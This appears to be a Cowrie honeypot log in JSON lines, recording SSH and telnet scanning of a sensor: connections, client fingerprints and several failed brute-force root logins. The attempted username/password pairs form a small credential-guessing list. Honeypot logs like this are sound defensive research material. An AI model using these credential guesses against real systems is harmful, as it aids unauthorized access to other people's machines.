{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:09.974841Z","src_ip":"103.176.20.57","session":"e1bfd3b70857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzz123","message":"login attempt [root/zzzzz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:10.750394Z","src_ip":"103.176.20.57","session":"e1bfd3b70857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:12.009619Z","src_ip":"103.176.20.57","session":"e1bfd3b70857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34168,"dst_ip":"159.203.135.109","dst_port":23,"session":"8064cb043e28","protocol":"telnet","message":"New connection: 135.148.14.151:34168 (159.203.135.109:23) [session: 8064cb043e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:12.936438Z"}
{"eventid":"cowrie.session.closed","duration":37.95341730117798,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:31.032629Z","src_ip":"135.148.14.151","session":"eb412713b41e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43239164352417,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:42.934968Z","src_ip":"135.148.14.151","session":"9f6b0e4d88d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49330,"dst_ip":"159.203.135.109","dst_port":23,"session":"e834dc70159d","protocol":"telnet","message":"New connection: 135.148.14.151:49330 (159.203.135.109:23) [session: e834dc70159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:45.842127Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53310,"dst_ip":"10.17.0.5","dst_port":22,"session":"959c9a82cb55","protocol":"ssh","message":"New connection: 109.237.96.109:53310 (10.17.0.5:22) [session: 959c9a82cb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:46.988046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:46.993256Z","src_ip":"109.237.96.109","session":"959c9a82cb55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:47.145295Z","src_ip":"109.237.96.109","session":"959c9a82cb55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:47.587897Z","src_ip":"109.237.96.109","session":"959c9a82cb55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06063365936279,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:47.996982Z","src_ip":"135.148.14.151","session":"8064cb043e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:48.751756Z","src_ip":"109.237.96.109","session":"959c9a82cb55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59370,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf21412bdc7","protocol":"ssh","message":"New connection: 103.15.222.183:59370 (10.17.0.5:22) [session: 2cf21412bdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:51.231973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:51.241394Z","src_ip":"103.15.222.183","session":"2cf21412bdc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48600,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dcd010263e3","protocol":"telnet","message":"New connection: 135.148.14.151:48600 (159.203.135.109:23) [session: 9dcd010263e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:51.411167Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:51.485750Z","src_ip":"103.15.222.183","session":"2cf21412bdc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazzaq123","message":"login attempt [root/qazzaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:52.216007Z","src_ip":"103.15.222.183","session":"2cf21412bdc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:53.462144Z","src_ip":"103.15.222.183","session":"2cf21412bdc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":38528,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed0e94d65f3","protocol":"telnet","message":"New connection: 105.209.159.189:38528 (10.17.0.5:23) [session: 2ed0e94d65f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:54.235321Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":38880,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff90f7586ff","protocol":"telnet","message":"New connection: 105.209.159.189:38880 (10.17.0.5:23) [session: 7ff90f7586ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:57.757257Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44182,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5e0cc9a680","protocol":"ssh","message":"New connection: 80.94.92.171:44182 (159.203.135.109:22) [session: cd5e0cc9a680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:02.777698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:02.902764Z","src_ip":"80.94.92.171","session":"cd5e0cc9a680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:03.003177Z","src_ip":"80.94.92.171","session":"cd5e0cc9a680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"26be4e8a5ba9","protocol":"telnet","message":"New connection: 135.148.14.151:56988 (159.203.135.109:23) [session: 26be4e8a5ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:04.170810Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:04.493634Z","src_ip":"80.94.92.171","session":"cd5e0cc9a680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:05.739876Z","src_ip":"80.94.92.171","session":"cd5e0cc9a680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58876,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ff57952c74e","protocol":"ssh","message":"New connection: 103.98.149.87:58876 (159.203.135.109:22) [session: 2ff57952c74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:15.248117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:15.325891Z","src_ip":"103.98.149.87","session":"2ff57952c74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:15.511860Z","src_ip":"103.98.149.87","session":"2ff57952c74e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2011","message":"login attempt [root/sasha2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:16.475462Z","src_ip":"103.98.149.87","session":"2ff57952c74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecbcdee2d1d1","protocol":"ssh","message":"New connection: 109.172.54.111:33082 (159.203.135.109:22) [session: ecbcdee2d1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:16.750207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:16.755288Z","src_ip":"109.172.54.111","session":"ecbcdee2d1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:16.858040Z","src_ip":"109.172.54.111","session":"ecbcdee2d1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qsadqe345613assa","message":"login attempt [root/qsadqe345613assa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:17.158994Z","src_ip":"109.172.54.111","session":"ecbcdee2d1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:17.825089Z","src_ip":"103.98.149.87","session":"2ff57952c74e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:18.259888Z","src_ip":"109.172.54.111","session":"ecbcdee2d1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40724778175354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:20.249244Z","src_ip":"135.148.14.151","session":"e834dc70159d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5137505531311,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:24.924823Z","src_ip":"135.148.14.151","session":"9dcd010263e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.282357692718506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:38.453043Z","src_ip":"135.148.14.151","session":"26be4e8a5ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00305104255676,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:40.860997Z","src_ip":"179.102.17.221","session":"d2a721b58f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":32388,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2d450cb1ed","protocol":"ssh","message":"New connection: 108.181.22.199:32388 (10.17.0.5:22) [session: 0c2d450cb1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:49.859993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:49.864587Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:49.943132Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48918,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7208da893d","protocol":"telnet","message":"New connection: 135.148.14.151:48918 (159.203.135.109:23) [session: fe7208da893d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:49.984274Z"}
